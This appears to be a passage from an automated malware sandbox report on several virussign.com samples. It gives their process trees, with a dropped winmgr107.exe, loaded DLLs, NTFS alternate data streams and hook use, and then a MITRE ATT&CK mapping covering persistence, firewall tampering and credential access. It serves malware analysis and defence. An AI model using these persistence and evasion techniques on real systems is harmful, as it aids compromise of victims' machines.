"C:\Users\Admin\Desktop\virussign.com_2c7c4a9cfe4af65d1f94178378eba736.exe"
1⤵
- Loads dropped DLL
PID:11652

C:\ProgramData\winmgr107.exe
C:\ProgramData\winmgr107.exe
1⤵
- Loads dropped DLL
- NTFS ADS
PID:9460

C:\Users\Admin\Desktop\virussign.com_2d54dcee31f046ad027f640b4c6773db.exe
"C:\Users\Admin\Desktop\virussign.com_2d54dcee31f046ad027f640b4c6773db.exe"
1⤵
- Loads dropped DLL
PID:9244

C:\ProgramData\winmgr107.exe
C:\ProgramData\winmgr107.exe
1⤵
- Loads dropped DLL
- NTFS ADS
PID:9148

C:\ProgramData\winmgr107.exe
C:\ProgramData\winmgr107.exe
1⤵
- Loads dropped DLL
- NTFS ADS
PID:8868

C:\ProgramData\winmgr107.exe
C:\ProgramData\winmgr107.exe
1⤵
- Loads dropped DLL
- NTFS ADS
PID:7128

C:\Users\Admin\Desktop\virussign.com_153111ca8d0264ac03daf11a29a76f54.exe
"C:\Users\Admin\Desktop\virussign.com_153111ca8d0264ac03daf11a29a76f54.exe"
1⤵
PID:6940
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -u -p 6940 -s 216
  2⤵
  - Loads dropped DLL
  - Program crash
  PID:8284

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 408 -p 6940 -ip 6940
1⤵
- Loads dropped DLL
PID:7096

C:\Users\Admin\Desktop\virussign.com_153111ca8d0264ac03daf11a29a76f54.exe
"C:\Users\Admin\Desktop\virussign.com_153111ca8d0264ac03daf11a29a76f54.exe"
1⤵
PID:11372
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -u -p 11372 -s 180
  2⤵
  - Loads dropped DLL
  - Program crash
  PID:6528

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 524 -p 11372 -ip 11372
1⤵
- Loads dropped DLL
PID:8672

C:\ProgramData\winmgr107.exe
C:\ProgramData\winmgr107.exe
1⤵
- Loads dropped DLL
- NTFS ADS
PID:5232

C:\Users\Admin\Desktop\virussign.com_99444be259ad13b8eb91cd8e1a4e925b.exe
"C:\Users\Admin\Desktop\virussign.com_99444be259ad13b8eb91cd8e1a4e925b.exe"
1⤵
- Loads dropped DLL
PID:5052

C:\Users\Admin\Desktop\virussign.com_4701747d5b12daafc6bf30d49dfd6b5b.exe
"C:\Users\Admin\Desktop\virussign.com_4701747d5b12daafc6bf30d49dfd6b5b.exe"
1⤵
- Loads dropped DLL
PID:2676

C:\ProgramData\winmgr107.exe
C:\ProgramData\winmgr107.exe
1⤵
- NTFS ADS
PID:1892

C:\Users\Admin\Desktop\virussign.com_7a14384c52b18fe49305121250840bff.exe
"C:\Users\Admin\Desktop\virussign.com_7a14384c52b18fe49305121250840bff.exe"
1⤵
- Suspicious use of SetWindowsHookEx
PID:740

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

Defense Evasion

Impair Defenses

T1562

Disable or Modify System Firewall

T1562.004

Modify Registry

T1112

Credential Access

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Network Service Discovery

T1046

Peripheral Device Discovery

T1120

Query Registry

System Information Discovery